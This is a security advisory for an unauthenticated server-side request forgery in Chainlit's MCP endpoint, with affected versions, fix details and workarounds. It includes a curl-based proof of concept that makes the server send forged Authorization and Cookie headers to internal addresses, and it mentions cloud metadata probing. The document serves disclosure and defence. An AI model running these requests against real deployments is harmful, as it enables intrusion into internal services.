OSV 1.4.0 · github-reviewed · 修改于 2026-08-26 03:21
发布时间
2026-08-26 03:21
GitHub 审查时间
2026-08-26 03:21
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-hvfh-5mj3-5f3j/GHSA-hvfh-5mj3-5f3j.json
Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.
When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.
| CVE | CVE-2026-45019 |
| Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) |
| Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) |
| Patched | 2.12.0 (releasing 2026-08-25) |
The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.
The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added support and introduced attacker-controlled forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like and .
streamable-httpheadersAuthorizationCookieThis is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).
Vulnerable code: backend/chainlit/server.py — connect_mcp handler
Sink: backend/chainlit/server.py — sse_client / streamablehttp_client
Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.
nc -l 4445
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "ssrf",
"clientType": "streamable-http",
"name": "probe",
"url": "http://127.0.0.1:4445/internal-admin",
"headers": {
"Authorization": "Bearer attacker-controlled-token",
"X-Internal-Secret": "exfiltrated",
"Cookie": "session=hijacked"
}
}'
POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked
High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.
Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.
Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:
features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed../.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.GET /project/settings no longer discloses allowed_urls.During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:
follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.
If you cannot upgrade immediately:
features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018)./mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.Breaking change. 2.12.0 changes how MCP servers are configured. If
.chainlit/config.tomlstill uses the legacy[features.mcp.sse],[features.mcp.stdio], or[features.mcp.streamable-http]sections, or theallowed_executablessetting, the application will fail to start once MCP is enabled, until you migrate to the new[[features.mcp.servers]]/allowed_urlsconfiguration. See the migration guide inCHANGELOG.mdbefore upgrading. Deployments withfeatures.mcp.enabled = falseare not affected by this startup check.
/mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.Vipin [email protected] SPL [email protected]